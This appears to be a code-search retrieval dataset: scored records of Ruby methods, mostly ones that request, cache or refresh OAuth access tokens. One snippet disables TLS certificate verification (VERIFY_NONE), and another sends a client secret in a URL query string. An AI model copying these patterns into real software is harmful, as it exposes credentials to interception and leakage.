"text": "def get_auth_token\n log_step \"start\", \"get_auth_token\"\n login_url = \"https://login.microsoft.com\"\n token_url = \"#{login_url}/#{@tenant}/oauth2/token?api-version=1.0\"\n body = {\n client_id: @client_id,\n client_secret: @client_secret,\n grant_type: 'client_credentials',\n resource: @resource\n }\n response = HTTParty.post \"#{token_url}\", body: body\n @access_token = response['access_token']\n log_step 'auth_token', @access_token\nend",
"title": ""
},
{
"docid": "9cbe6516e1fae3870ea705517f34eed7",
"score": "0.6192157",
"text": "def app_access_token\n @app_access_token ||= oauth_client.get_app_access_token\n end",
"title": ""
},
{
"docid": "43c6574a2efc648080f208fabac14741",
"score": "0.6190361",
"text": "def get_client_token\n request = Typhoeus::Request.new(\n TOKEN_ENDPOINT,\n method: :post,\n body: {\n 'grant_type' => \"client_credentials\",\n 'client_id' => ID,\n 'client_secret' => SECRET,\n })\n request.run\n response = request.response\n access_token = response.body.access_token\n end",
"title": ""
},
{
"docid": "d09d80d6dcbe6b51b4df11f97f6de6a1",
"score": "0.61894256",
"text": "def connection_for_application\n oauth_client.client_credentials.get_token\n end",
"title": ""
},
{
"docid": "5e7856639388e59b8a8ee9428add9dda",
"score": "0.618374",
"text": "def get_access_token(authz_code = nil)\n if @config.grant_type == 'client_credentials'\n $LOG.i \"getting access token\"\n\t @access_token = @oauth2_client.client_credentials.get_token\n $LOG.i \"got access token\", @access_token\n else\n $LOG.i \"getting access and refresh token pair\"\n\t @access_token = @oauth2_client.auth_code.get_token(authz_code, :redirect_uri => @config.redirect_uri)\n $LOG.i \"got access and refresh token pair\", @access_token\n end\n\n\trefresh_config_from_access_token\n\n\t@access_token\n end",
"title": ""
},
{
"docid": "98634f3e734a7fab0056ffe60655c1b7",
"score": "0.61719584",
"text": "def access_token\n @access_token ||= OAuth::AccessToken.new(consumer, @token, @secret)\n end",
"title": ""
},
{
"docid": "d72f411802b133cf88533d5f4ec13dfb",
"score": "0.61717665",
"text": "def get_access_token\n\t\treturn @credentials.get_access_token\n\tend",
"title": ""
},
{
"docid": "63a17e9e1587d1233ed4b0d13e408a7b",
"score": "0.6163642",
"text": "def from_access_token(access_token)\n Authentication::OAuth2::AccessTokenAuthentication\n .new(access_token)\n end",
"title": ""
},
{
"docid": "d57e840340ed9f7666896419f4b6095f",
"score": "0.61625636",
"text": "def access_token\n return @access_token if @access_token\n creds = YAML.load(File.read(File.expand_path('~/.github.yml')))\n @access_token = creds[\"token\"]\nend",
"title": ""
},
{
"docid": "4ce5b79bf3ca2b60d0e98cdd3c53f5c1",
"score": "0.61612207",
"text": "def oauth2_access_token\n belongs_to :client, :null => false\n\n string :token, :null => false\n string :scope\n datetime :expires_at\n end",
"title": ""
},
{
"docid": "af52631e1fea24539e7fd77c3df5a4da",
"score": "0.61423326",
"text": "def get_access_token(code:, redirect_uri: nil)\n query = {\n code: code,\n client_id: @client_id,\n client_secret: @client_secret,\n redirect_uri: redirect_uri\n }.compact\n response = HTTParty.get(\"https://slack.com/api/oauth.v2.access\", query: query)\n JSON.parse(response.body, symbolize_names: true)\n end",
"title": ""
},
{
"docid": "c04fec923ce5cfd0fddad5ec0f383646",
"score": "0.6140007",
"text": "def token\n client.token if client\n end",
"title": ""
},
{
"docid": "1c05571651f3498aac18f7e0df602260",
"score": "0.61362404",
"text": "def access_token\n @rubytter.instance_variable_get(:@access_token)\n end",
"title": ""
},
{
"docid": "4d20a87f01f52a4c842ee74550a93b9c",
"score": "0.61057144",
"text": "def access_token\n @access_token ||= ShakeTheCounter::Authentication.renew_access_token(client_id: id, client_secret: secret, refresh_token: refresh_token)[\"access_token\"]\n end",
"title": ""
},
{
"docid": "6b20d5857b7d4f656bf7daa0425ea652",
"score": "0.6104948",
"text": "def get_access_token(options={})\n response=consumer.token_request(consumer.http_method,(consumer.access_token_url? ? consumer.access_token_url : consumer.access_token_path),self,options)\n OAuth::AccessToken.new(consumer,response[:oauth_token],response[:oauth_token_secret])\n end",
"title": ""
},
{
"docid": "40f7c8e00acf7e7342c6dcf721de4fed",
"score": "0.60991436",
"text": "def access_token\n @oauth_access_token ||= ::OAuth::AccessToken.new(consumer, @access_token, @access_secret)\n end",
"title": ""
},
{
"docid": "f31b9f1feb178f392bac9d0aaeabe835",
"score": "0.60977477",
"text": "def access_token\n @access_token\n end",
"title": ""
},
{
"docid": "7c268953071deb02c7e1d7513f496d9e",
"score": "0.6092285",
"text": "def bearer_token\n # Put the url together\n url = \"#{API_HOST}#{TOKEN_PATH}\"\n\n raise \"Please set your CLIENT_ID\" if CLIENT_ID.nil?\n raise \"Please set your CLIENT_SECRET\" if CLIENT_SECRET.nil?\n\n # Build our params hash\n params = {\n client_id: CLIENT_ID,\n client_secret: CLIENT_SECRET,\n grant_type: GRANT_TYPE\n }\n\n response = HTTP.post(url, params: params)\n parsed = response.parse\n\n \"#{parsed['token_type']} #{parsed['access_token']}\"\nend",
"title": ""
},
{
"docid": "758d49bf63926132efa9927f3e7abbba",
"score": "0.60851425",
"text": "def token\n @access_token.token\n end",
"title": ""
},
{
"docid": "0ec1b075f7814b66dd843844a718b5ad",
"score": "0.6080492",
"text": "def access_token(master)\n @auth_url = '/authorization/token'\n consumer = OAuth2::Client.new(master.client_id,\n master.client_secret,\n {:site => \n {:url => master.site, \n :ssl => {:verify => OpenSSL::SSL::VERIFY_NONE,\n :ca_file => nil\n }\n },\n :authorize_url => @auth_url,\n :parse_json => true})\n \n response = consumer.request(:post, @auth_url, {:grant_type => 'password', \n :client_id => master.client_id,\n :client_secret => master.client_secret,\n :username => master.username, \n :password => master.password},\n 'Content-Type' => 'application/x-www-form-urlencoded')\n\n OAuth2::AccessToken.new(consumer, response['access_token']).token\n \n end",
"title": ""
},
{
"docid": "56db7fc4620613d4053d0c4043b7bdb5",
"score": "0.60784984",
"text": "def bearer_token\n # Put the url together\n url = \"#{API_HOST}#{TOKEN_PATH}\"\n\n raise \"Please set your CLIENT_ID\" if CLIENT_ID.nil?\n raise \"Please set your CLIENT_SECRET\" if CLIENT_SECRET.nil?\n\n # Build our params hash\n params = {\n client_id: CLIENT_ID,\n client_secret: CLIENT_SECRET,\n grant_type: GRANT_TYPE\n }\n\n response = HTTP.post(url, params: params)\n parsed = response.parse\n\n \"#{parsed['token_type']} #{parsed['access_token']}\"\nend",
"title": ""
},
{
"docid": "00d528e14e9d630144eef01bbb072ab6",
"score": "0.6072805",
"text": "def slack_token\n ENV['SLACK_TOKEN']\n end",
"title": ""
},
{
"docid": "dac0a2da7950c02271f377a7e97267fa",
"score": "0.6071603",
"text": "def bearer_token\n # Put the url together\n url = \"#{API_HOST}#{TOKEN_PATH}\"\n\n raise \"Please set your CLIENT_ID\" if CLIENT_ID.nil?\n raise \"Please set your CLIENT_SECRET\" if CLIENT_SECRET.nil?\n\n # Build our params hash\n params = {\n client_id: CLIENT_ID,\n client_secret: CLIENT_SECRET,\n grant_type: GRANT_TYPE\n }\n\n response = HTTP.post(url, params: params)\n parsed = response.parse\n\n \"#{parsed['token_type']} #{parsed['access_token']}\"\nend",
"title": ""
},
{
"docid": "a428dbced2587c14059395791aaca1d9",
"score": "0.60543805",
"text": "def token(*args)\n Houston::Slack.connection.token = args.first if args.any?\n Houston::Slack.connection.token\n end",
"title": ""
},
{
"docid": "f6ca9c972836e242dc7a1cb1313d5459",
"score": "0.605416",
"text": "def oauth2_client(token, params = {})\n @oauth2_client = RubyLokaliseApi::OAuth2Client.new token, params\n end",
"title": ""
},
{
"docid": "24d5f57f13a371b660058a7390691f72",
"score": "0.6052289",
"text": "def access_token\n refresh! if access_token_expires_at&.<= Time.now + 60 # time drift margin\n @access_token\n end",
"title": ""
},
{
"docid": "ea582d6982113ada7bd46199ff1ba50d",
"score": "0.6049817",
"text": "def token\n oauth_merged_params[:oauth_token]\n end",
"title": ""
},
{
"docid": "d485b850a802eab77479f7f95db70cad",
"score": "0.6049293",
"text": "def bearer_token\n # Put the url together\n url = \"#{API_HOST}#{TOKEN_PATH}\"\n\n # Build our params hash\n params = {\n client_id: @client_id,\n client_secret: @client_secret,\n grant_type: GRANT_TYPE\n }\n\n response = HTTP.post(url, params: params)\n parsed = response.parse\n\n \"#{parsed['token_type']} #{parsed['access_token']}\"\n end",
"title": ""
},
{
"docid": "9e28452f30b52aadcf40d1dc6726da51",
"score": "0.60488695",
"text": "def access_token\n @connection.access_token\n end",
"title": ""
},
{
"docid": "a845d81c4b97e7e40fc394caa747c417",
"score": "0.6036934",
"text": "def oauth_token\n read_attribute(oauth_token_field)\n end",
"title": ""
},
{
"docid": "b7ae28bf5cb161de32ae6b794713c80b",
"score": "0.60287255",
"text": "def token\n @request = Request.new(params)\n\n if authenticate_client!\n response = @request.client_credentials.get_access_token\n\n respond_to do |format|\n format.html { redirect_to Http::Uri.build(@request.redirect_uri, response.to_hash) }\n format.json { render json: response.to_json, location: @request.redirect_uri }\n end\n else\n respond_to do |format|\n format.html { redirect_to Http::Uri.build(@request.redirect_uri, Oauth::Error::UnauthorizedClient.to_hash) }\n format.json { render json: Oauth::Error::UnauthorizedClient.to_json, location: @request.redirect_uri }\n end\n end\n end",
"title": ""
},
{
"docid": "34a4003ac543df8617127f7effe89f9a",
"score": "0.602413",
"text": "def oauth_token\n @json['oauthToken']\n end",
"title": ""
},
{
"docid": "817ded57b311e2ea50c7fabeadd5898a",
"score": "0.6011519",
"text": "def access_token\n @auth.access_token\n end",
"title": ""
},
{
"docid": "bbb64109bcb842f518cc5d062d1eeba3",
"score": "0.6005657",
"text": "def oauth_app_access_token(client_id, client_secret)\n self.oauth_access_token(client_id, client_secret, :type => 'client_cred')\n end",
"title": ""
},
{
"docid": "c0f2230e5b723da9b5ead3f1f07f7862",
"score": "0.60031027",
"text": "def token\n @token ||= begin\n token = redis_client.token\n\n return token if token.present?\n\n resp = client.token\n\n Oj.load(resp.body)&.fetch('access_token').tap do |access_token|\n redis_client.save_token(token: access_token)\n end\n end\n end",
"title": ""
},
{
"docid": "a733992ad651e38fb35dd49623c8826d",
"score": "0.60027003",
"text": "def token\n refresh_token if needs_token_refresh?\n return @token\n end",
"title": ""
},
{
"docid": "7489cfa210b4f3d6101e655917ed8062",
"score": "0.599725",
"text": "def get_access_token\n uri = URI.parse(@token_url)\n http = Net::HTTP.new(uri.host, uri.port)\n req = Net::HTTP::Post.new(uri.request_uri)\n auth = Base64.encode64(@login + ':' + @password).gsub(\"\\n\", \"\")\n req['Authorization'] = \"Basic #{auth}\"\n send = 'grant_type=client_credentials'\n req.body = send\n res = http.request(req)\n if res.code == \"200\"\n data = res.body\n result = JSON.parse(data)\n @access_token = result['access_token']\n else\n puts \"Invalid getting access token\"\n exit\n end\n end",
"title": ""
},
{
"docid": "bda6e5796e3d5890847455fc7979e91b",
"score": "0.5990472",
"text": "def get_oauth_access_token(session_code)\n result = Octokit.exchange_code_for_token(session_code, CLIENT_ID, CLIENT_SECRET)\n result[:access_token]\n end",
"title": ""
},
{
"docid": "43680cd0d85c44057a14c2048a43af91",
"score": "0.5982501",
"text": "def exchange_token token\n auth = FbGraph::Auth.new(\n Fbsync.credentials[:id],\n Fbsync.credentials[:secret]\n )\n auth.exchange_token!(token)\n auth.access_token\n end",
"title": ""
},
{
"docid": "e9ffb390a0222e7a9c6ece35dee81b1e",
"score": "0.5979412",
"text": "def token\n if notification_config && notification_config['host_token'] && @resource.callback # we need to have a token available for this service\n notification_config['host_token'][notification_host]\n elsif notification_config && notification_config['token']\n notification_config['token']\n else\n nil # send no token; assume no authorization needed\n end\n end",
"title": ""
},
{
"docid": "01fe6d343ff6a5754fd0da74e21d22fc",
"score": "0.59633154",
"text": "def access_token\n @access_token ||= AccessToken.new(caller_service: caller_service, authorizator_service: authorizator_service)\n end",
"title": ""
},
{
"docid": "7968a18448c4153d88bc18d35d017b55",
"score": "0.59622365",
"text": "def get_access_token\n raise HyvesException, 'You need an request token to make get an access token' if request_token.nil?\n @access_token = request_token.get_access_token\n\n @userid = request_token.response[\"userid\"]\n @expiredate = Time.at(request_token.response[\"expiredate\"].to_i) if not request_token.response[\"expiredate\"].nil?\n\n @access_token\n end",
"title": ""
},
{
"docid": "0ab1bbbc44ee822be001917d471ad520",
"score": "0.5954683",
"text": "def token\n @token ||= Rails.cache.fetch('osu_api_token', expires_in: 23.hours) do\n logger.debug(\"Fetching new OAuth2 Token from OSU API : #{@url}\")\n json = post(url_encoded_connection,\n ENV.fetch(OSU_API_OAUTH2_TOKEN),\n client_id: @key,\n client_secret: @secret,\n grant_type: 'client_credentials')\n json['access_token']\n end\n end",
"title": ""
},
{
"docid": "aada98beec82868ff9e4b58680ed4b1d",
"score": "0.5948095",
"text": "def get_token\n with_monitoring do\n perform(:post, \"/#{config.base_path}/token\", {}, token_headers)\n end\n end",
"title": ""
},
{
"docid": "481ddd92471d4a0fc25baf620f3b6b09",
"score": "0.59474784",
"text": "def aquire_token\n token_data = server.call(\"acquire_token\", @config['account_code'], @config['password'], @config['provider_key'])\n status = token_data[0]\n @token = token_data[1]\n if (is_error(status)) \n error_message = decode_error(status)\n raise \"Unable to aquire token. Reason: #{error_message}\"\n end\n @token\n end",
"title": ""
},
{
"docid": "87be3913bc10c58218e338d662fd9a91",
"score": "0.5942788",
"text": "def valid_access_token(channel)\n Microsoft::RefreshOauthTokenService.new(channel: channel).access_token\n end",
"title": ""
},
{
"docid": "eb2f4507b12c64657e6a62d81bacb191",
"score": "0.59406555",
"text": "def use_tokens(tokens_hash)\n @token = OAuth2::AccessToken.from_hash @oauth_client, tokens_hash\n retrieve_missing_token_info if @token.expires_at.nil?\n tokens\n end",
"title": ""
},
{
"docid": "7e3619f476bf3709b6e77a771df1e3f1",
"score": "0.5937288",
"text": "def tokeninfo(token)\n $client.authorization.update_token!(token)\n oauth2 = $client.discovered_api('oauth2','v2')\n\n puts $client.execute(oauth2.tokeninfo, token).response.body\nend",
"title": ""
},
{
"docid": "94b72bf6971775ba7102796e4c754af5",
"score": "0.59261644",
"text": "def authorize_client session_token\n base_url = \"#{APP_CONFIG['okta_base_url']}/oauth2/v1/authorize\"\n redirect_uri = \"#{APP_CONFIG['okta_openid_redirect_uri']}\"\n client_id = \"#{APP_CONFIG['okta_client_id']}\"\n scopes = [\"openid\", \"email\", \"groups\"].join(\"%20\")\n url = \"#{base_url}?sessionToken=#{session_token}&redirect_uri=#{redirect_uri}&response_type=id_token&client_id=#{client_id}&scope=#{scopes}&response_mode=fragment\"\n\n begin\n HttpClient.get(url)\n rescue HTTParty::RedirectionTooDeep => e\n open_id_token = e.response.header['location']\n end\n open_id_token.split('=').last\n end",
"title": ""
},
{
"docid": "f494990380847c40302e841960ae3f9d",
"score": "0.59208196",
"text": "def get_token(code)\n url = \"#{sk_url}/oauth/token?code=#{code}&client_id=#{@@conf['id']}&client_secret=#{@@conf['secret']}&redirect_uri=#{oauth_redirect_uri}\"\n c = Curl::Easy.perform(url)\n # grab token from response body, containing json string\n ActiveSupport::JSON.decode(c.body_str)\n end",
"title": ""
},
{
"docid": "214821097a4016a6b82a6c0823408f4b",
"score": "0.59203976",
"text": "def access_token\n # Synchronization is needed, otherwise race condition may ensue:\n # Let's assume token has expired, and two threads ask for a new token.\n # Both proceed to fetch the token from remote server, both return,\n # but the first token is no longer valid.\n MUTEX.synchronize do\n token = Nordea::Siirto.redis.get(KEY)\n return token if token\n\n Nordea::Siirto.log('Requesting new access token...')\n payload = response.body\n\n token = payload['access_token']\n expires_in = payload['expires_in'] - EXPIRATION_BUFFER\n Nordea::Siirto.redis.set(KEY, token)\n Nordea::Siirto.redis.expire(KEY, expires_in)\n\n token\n end\n end",
"title": ""
},
{
"docid": "6b0309bd3751338baaa842f46405fea6",
"score": "0.591329",
"text": "def access_token\n return false unless session[:oauth]\n access_token = OAuth2::AccessToken.from_hash client, session[:oauth].dup\n if access_token.expired?\n access_token = OAuth2::AccessToken.from_hash(client, session[:oauth].dup).refresh!\n session[:oauth] = access_token.to_hash\n end\n @access_token ||= access_token\n end",
"title": ""
},
{
"docid": "7fec6f3c49a6695ebb1b2783efd2320e",
"score": "0.59127885",
"text": "def get_token\n session[:token] if authorized?\n end",
"title": ""
},
{
"docid": "96d3232db1635a6c893131e9547bd30d",
"score": "0.5908179",
"text": "def rack_oauth!(name)\n oauth_instance(name).get_access_token!(oauth_request_env)\n end",
"title": ""
},
{
"docid": "e3dd47b4c8a05ba49ba47d3561c8890b",
"score": "0.5901468",
"text": "def xauth_token\n consumer = oauth_consumer\n request_token = consumer.get_request_token\n consumer.get_access_token(\n request_token, {},\n {\n :x_auth_mode => 'client_auth',\n :x_auth_username => cred['username'],\n :x_auth_password => cred['password']\n }\n )\n end",
"title": ""
},
{
"docid": "3655a0951050473c2415575d0e164ca0",
"score": "0.5899524",
"text": "def get_access_token(request_token = @request_token)\n # response = @consumer.token_request(@consumer.http_method,\n # (@consumer.access_token_url? ? @consumer.access_token_url : @consumer.access_token_path),\n # request_token,\n # {},\n # headers)\n\n # @access_token = ::OAuth::AccessToken.new(@consumer, response[:oauth_token], response[:oauth_token_secret])\n @access_token = request_token.get_access_token\n end",
"title": ""
},
{
"docid": "c0c2cd1b4d167fef31f619505ab90a4f",
"score": "0.5898504",
"text": "def get_tokens\n resource = \"/oauth/access_token\"\n\n begin\n response = @connection.post resource do |request|\n request.params['client_id'] = @api_key\n request.params['client_secret'] = @secret_key\n request.params['grant_type'] = @grant_type\n request.params['scope'] = 'SPEECH,STTC,TTS'\n end\n\n result = process_response(response)\n\n if result[:access_token].nil? || result[:refresh_token].nil?\n raise RuntimeError, \"Unable to complete oauth: #{response[:error]}\"\n else\n @access_token = result[:access_token]\n @refresh_token = result[:refresh_token]\n end\n rescue => e\n raise RuntimeError, e.to_s\n end\n end",
"title": ""
},
{
"docid": "a16fc1ff4bd13787b4b3376aa6b333cb",
"score": "0.5896971",
"text": "def get_token(params={})\n client.post( GET_TOKEN_URL, body: parse_request_body(params) )\n end",
"title": ""
},
{
"docid": "11a8228679bdb2a12b312bc449071995",
"score": "0.58870804",
"text": "def access_token()\n if @access_token_obj\n @access_token_obj.token\n else\n return nil\n end\n end",
"title": ""
},
{
"docid": "8f057fece1d9a577f83f7e4fa1e1685c",
"score": "0.5886919",
"text": "def get_token(params, options = {})\n opts = {\n raise_errors: options[:raise_errors],\n parse: params.delete(:parse)\n }\n\n headers = params.delete(:headers)\n opts[:headers] = {\n 'Content-Type' => 'application/x-www-form-urlencoded'\n }\n opts[:headers].merge!(headers) if headers\n opts[:ignore_access_token] = true\n\n response = oauth_request(:post, token_url, params, opts)\n\n raise Error.new(response) if options[:raise_errors] && !(response.parsed.is_a?(Hash) && response.parsed['access_token'])\n\n Livelyfeed::OAuth2::AccessToken.from_hash(self, response[:body])\n end",
"title": ""
},
{
"docid": "cd133b3d5008a4c34c882aeb411287b2",
"score": "0.588345",
"text": "def get_access_token\n auth = storage['authentication']\n return auth['access_token'] if auth && auth['expires'] > Time.now.to_i\n\n auth = authenticate_client\n storage['authentication'] = auth\n auth['access_token']\n end",
"title": ""
},
{
"docid": "465b10e502505b0b4673999d2592c9d4",
"score": "0.5865577",
"text": "def get_token(options)\n\t\tmethod = \"GET\"\n\t\tendpoint = \"auditlogtoken\"\n\t\turi = ApiUri::build_uri(endpoint, options)\n\t\treturn @client.request_json(method, uri)\n\tend",
"title": ""
},
{
"docid": "b92c6b9708e62481947e5a2b5cc39873",
"score": "0.58584285",
"text": "def access_token\n if session[:atoken]\n return session[:atoken]\n else\n session[:atoken] = cookies[:atoken]\n return session[:atoken]\n end\n end",
"title": ""
},
{
"docid": "c630df4c132c3316c9c2c35df54bb88e",
"score": "0.585418",
"text": "def access_token\n @access_token ||= nil\n end",
"title": ""
},
{
"docid": "dbcf93ec2522203ce34a9994788507bc",
"score": "0.58524764",
"text": "def acquire_token\n token_acquire_url = TOKEN_ACQUIRE_URL.dup\n token_acquire_url['{authentication_endpoint}'] = @settings.authentication_endpoint\n token_acquire_url['{tenant_id}'] = @tenant_id\n\n url = URI.parse(token_acquire_url)\n\n connection = Faraday.new(:url => url, :ssl => MsRest.ssl_options) do |builder|\n builder.adapter Faraday.default_adapter\n end\n\n request_body = REQUEST_BODY_PATTERN.dup\n request_body['{resource_uri}'] = ERB::Util.url_encode(@settings.token_audience)\n request_body['{client_id}'] = ERB::Util.url_encode(@client_id)\n request_body['{username}'] = ERB::Util.url_encode(@username)\n request_body['{password}'] = ERB::Util.url_encode(@password)\n\n response = connection.get do |request|\n request.headers['content-type'] = 'application/x-www-form-urlencoded'\n request.body = request_body\n end\n\n fail AzureOperationError,\n 'Couldn\\'t login to Azure, please verify your tenant id, client id and username/password' unless response.status == 200\n\n response_body = JSON.load(response.body)\n @token = response_body['access_token']\n @token_expires_on = Time.at(Integer(response_body['expires_on']))\n @token_type = response_body['token_type']\n end",
"title": ""
},
{
"docid": "f15c3c720c8f8c1142f22c2762f37b31",
"score": "0.58374697",
"text": "def get_access_token_from_API()\n # eventbrite embeds access code in the link it \"returns\"\n \taccess_code = extract_access_code_from_link()\n\n # once user allows access, exchange for access token\n access_token_JSON = exchange_code_for_token( access_code ) \n access_token = parse_for_access_token( access_token_JSON )\n return access_token\n end",
"title": ""
},
{
"docid": "72c72a155e4de460ece892b3a2d6679f",
"score": "0.5837043",
"text": "def client_context\n # Use static access token from environment. However, here we have access\n # to the current request so we could configure the token to be retrieved\n # from a session cookie.\n { access_token: GitHub::Application.secrets.github_access_token }\n end",
"title": ""
}
] |
f74c29bdfc4a183e1ec1b91334cd5be2 | Use callbacks to share common setup or constraints between actions. | [
{
"docid": "a51ebcf4269bd4f7a0380891aeda9fd7",
"score": "0.0",
"text": "def set_font_type\n @font_type = FontType.find(params[:id])\n end",
"title": ""
}
] | [
{
"docid": "631f4c5b12b423b76503e18a9a606ec3",
"score": "0.60339177",
"text": "def process_action(...)\n run_callbacks(:process_action) do\n super\n end\n end",
"title": ""
},
{
"docid": "7b068b9055c4e7643d4910e8e694ecdc",
"score": "0.60135007",
"text": "def on_setup_callbacks; end",
"title": ""
},
{
"docid": "311e95e92009c313c8afd74317018994",
"score": "0.59219855",
"text": "def setup_actions\n domain = @apps.domain\n path_user = '/a/feeds/'+domain+'/user/2.0'\n path_nickname = '/a/feeds/'+domain+'/nickname/2.0'\n path_email_list = '/a/feeds/'+domain+'/emailList/2.0'\n path_group = '/a/feeds/group/2.0/'+domain\n\n @apps.register_action(:domain_login, {:method => 'POST', :path => '/accounts/ClientLogin' })\n @apps.register_action(:user_create, { :method => 'POST', :path => path_user })\n @apps.register_action(:user_retrieve, { :method => 'GET', :path => path_user+'/' })\n @apps.register_action(:user_retrieve_all, { :method => 'GET', :path => path_user })\n @apps.register_action(:user_update, { :method => 'PUT', :path => path_user +'/' })\n @apps.register_action(:user_delete, { :method => 'DELETE', :path => path_user +'/' })\n @apps.register_action(:nickname_create, { :method => 'POST', :path =>path_nickname })\n @apps.register_action(:nickname_retrieve, { :method => 'GET', :path =>path_nickname+'/' })\n @apps.register_action(:nickname_retrieve_all_for_user, { :method => 'GET', :path =>path_nickname+'?username=' })\n @apps.register_action(:nickname_retrieve_all_in_domain, { :method => 'GET', :path =>path_nickname })\n @apps.register_action(:nickname_delete, { :method => 'DELETE', :path =>path_nickname+'/' })\n @apps.register_action(:group_create, { :method => 'POST', :path => path_group })\n @apps.register_action(:group_update, { :method => 'PUT', :path => path_group })\n @apps.register_action(:group_retrieve, { :method => 'GET', :path => path_group })\n @apps.register_action(:group_delete, { :method => 'DELETE', :path => path_group })\n\n # special action \"next\" for linked feed results. :path will be affected with URL received in a link tag.\n @apps.register_action(:next, {:method => 'GET', :path =>'' })\n end",
"title": ""
},
{
"docid": "8315debee821f8bfc9718d31b654d2de",
"score": "0.5913137",
"text": "def initialize(*args)\n super\n @action = :setup\nend",
"title": ""
},
{
"docid": "8315debee821f8bfc9718d31b654d2de",
"score": "0.5913137",
"text": "def initialize(*args)\n super\n @action = :setup\nend",
"title": ""
},
{
"docid": "bfea4d21895187a799525503ef403d16",
"score": "0.589884",
"text": "def define_action_helpers\n super\n define_validation_hook if runs_validations_on_action?\n end",
"title": ""
},
{
"docid": "801bc998964ea17eb98ed4c3e067b1df",
"score": "0.5890051",
"text": "def actions; end",
"title": ""
},
{
"docid": "801bc998964ea17eb98ed4c3e067b1df",
"score": "0.5890051",
"text": "def actions; end",
"title": ""
},
{
"docid": "801bc998964ea17eb98ed4c3e067b1df",
"score": "0.5890051",
"text": "def actions; end",
"title": ""
},
{
"docid": "352de4abc4d2d9a1df203735ef5f0b86",
"score": "0.5889191",
"text": "def required_action\n # TODO: implement\n end",
"title": ""
},
{
"docid": "8713cb2364ff3f2018b0d52ab32dbf37",
"score": "0.58780754",
"text": "def define_action_helpers\n if action == :save\n if super(:create_or_update)\n @instance_helper_module.class_eval do\n define_method(:valid?) do |*args|\n self.class.state_machines.fire_event_attributes(self, :save, false) { super(*args) }\n end\n end\n end\n else\n super\n end\n end",
"title": ""
},
{
"docid": "a80b33627067efa06c6204bee0f5890e",
"score": "0.5863248",
"text": "def actions\n\n end",
"title": ""
},
{
"docid": "930a930e57ae15f432a627a277647f2e",
"score": "0.58094144",
"text": "def setup_actions\n domain = @apps.domain\n path_base = '/a/feeds/emailsettings/2.0/'+domain+'/'\n\n @apps.register_action(:create_label, {:method => 'POST', :path => path_base })\n @apps.register_action(:create_filter, { :method => 'POST', :path => path_base })\n @apps.register_action(:create_send_as, { :method => 'POST', :path => path_base })\n @apps.register_action(:update_webclip, { :method => 'PUT', :path => path_base })\n @apps.register_action(:update_forward, { :method => 'PUT', :path => path_base })\n @apps.register_action(:set_pop, { :method => 'PUT', :path => path_base })\n @apps.register_action(:set_imap, { :method => 'PUT', :path =>path_base })\n @apps.register_action(:set_vacation, { :method => 'PUT', :path =>path_base })\n @apps.register_action(:set_signature, { :method => 'PUT', :path =>path_base })\n @apps.register_action(:set_language, { :method => 'PUT', :path =>path_base })\n @apps.register_action(:set_general, { :method => 'PUT', :path =>path_base })\n\n # special action \"next\" for linked feed results. :path will be affected with URL received in a link tag.\n @apps.register_action(:next, {:method => 'GET', :path =>nil })\n end",
"title": ""
},
{
"docid": "33ff963edc7c4c98d1b90e341e7c5d61",
"score": "0.57375425",
"text": "def setup\n common_setup\n end",
"title": ""
},
{
"docid": "a5ca4679d7b3eab70d3386a5dbaf27e1",
"score": "0.57285565",
"text": "def perform_setup\n end",
"title": ""
},
{
"docid": "ec7554018a9b404d942fc0a910ed95d9",
"score": "0.57149214",
"text": "def before_setup(&block)\n pre_setup_actions.unshift block\n end",
"title": ""
},
{
"docid": "9c186951c13b270d232086de9c19c45b",
"score": "0.5703237",
"text": "def callbacks; end",
"title": ""
},
{
"docid": "c85b0efcd2c46a181a229078d8efb4de",
"score": "0.56900954",
"text": "def custom_setup\n\n end",
"title": ""
},
{
"docid": "100180fa74cf156333d506496717f587",
"score": "0.56665677",
"text": "def do_setup\n\t\tget_validation\n\t\tprocess_options\n\tend",
"title": ""
},
{
"docid": "2198a9876a6ec535e7dcf0fd476b092f",
"score": "0.5651118",
"text": "def initial_action; end",
"title": ""
},
{
"docid": "b9b75a9e2eab9d7629c38782c0f3b40b",
"score": "0.5648135",
"text": "def setup_intent; end",
"title": ""
},
{
"docid": "471d64903a08e207b57689c9fbae0cf9",
"score": "0.56357735",
"text": "def setup_controllers &proc\n @global_setup = proc\n self\n end",
"title": ""
},
{
"docid": "468d85305e6de5748477545f889925a7",
"score": "0.5627078",
"text": "def inner_action; end",
"title": ""
},
{
"docid": "bb445e7cc46faa4197184b08218d1c6d",
"score": "0.5608873",
"text": "def pre_action\n # Override this if necessary.\n end",
"title": ""
},
{
"docid": "432f1678bb85edabcf1f6d7150009703",
"score": "0.5598699",
"text": "def target_callbacks() = commands",
"title": ""
},
{
"docid": "48804b0fa534b64e7885b90cf11bff31",
"score": "0.5598419",
"text": "def execute_callbacks; end",
"title": ""
},
{
"docid": "5aab98e3f069a87e5ebe77b170eab5b9",
"score": "0.5589822",
"text": "def api_action!(*args)\n type = self.class.name.split(\"::\").last.downcase\n run_callbacks_for([\"before_#{type}\", :before], *args)\n result = nil\n begin\n result = yield if block_given?\n run_callbacks_for([\"after_#{type}\", :after], *args)\n result\n rescue => err\n run_callbacks_for([\"failed_#{type}\", :failed], *(args + [err]))\n raise\n end\n end",
"title": ""
},
{
"docid": "9efbca664902d80a451ef6cff0334fe2",
"score": "0.5558845",
"text": "def global_callbacks; end",
"title": ""
},
{
"docid": "9efbca664902d80a451ef6cff0334fe2",
"score": "0.5558845",
"text": "def global_callbacks; end",
"title": ""
},
{
"docid": "482481e8cf2720193f1cdcf32ad1c31c",
"score": "0.55084664",
"text": "def required_keys(action)\n\n end",
"title": ""
},
{
"docid": "353fd7d7cf28caafe16d2234bfbd3d16",
"score": "0.5504379",
"text": "def assign_default_callbacks(action_name, is_member=false)\n if ResourceController::DEFAULT_ACTIONS.include?(action_name)\n DefaultActions.send(action_name, self)\n elsif is_member\n send(action_name).build { load_object }\n send(action_name).wants.html\n send(action_name).wants.xml { render :xml => object }\n send(action_name).failure.flash \"Request failed\"\n send(action_name).failure.wants.html\n send(action_name).failure.wants.xml { render :xml => object.errors }\n else\n send(action_name).build { load_collection }\n send(action_name).wants.html\n send(action_name).wants.xml { render :xml => collection }\n send(action_name).failure.flash \"Request failed\"\n send(action_name).failure.wants.html\n send(action_name).failure.wants.xml { head 500 }\n end\n end",
"title": ""
},
{
"docid": "dcf95c552669536111d95309d8f4aafd",
"score": "0.5465574",
"text": "def layout_actions\n \n end",
"title": ""
},
{
"docid": "2f6ef0a1ebe74f4d79ef0fb81af59d40",
"score": "0.5464707",
"text": "def on_setup(&block); end",
"title": ""
},
{
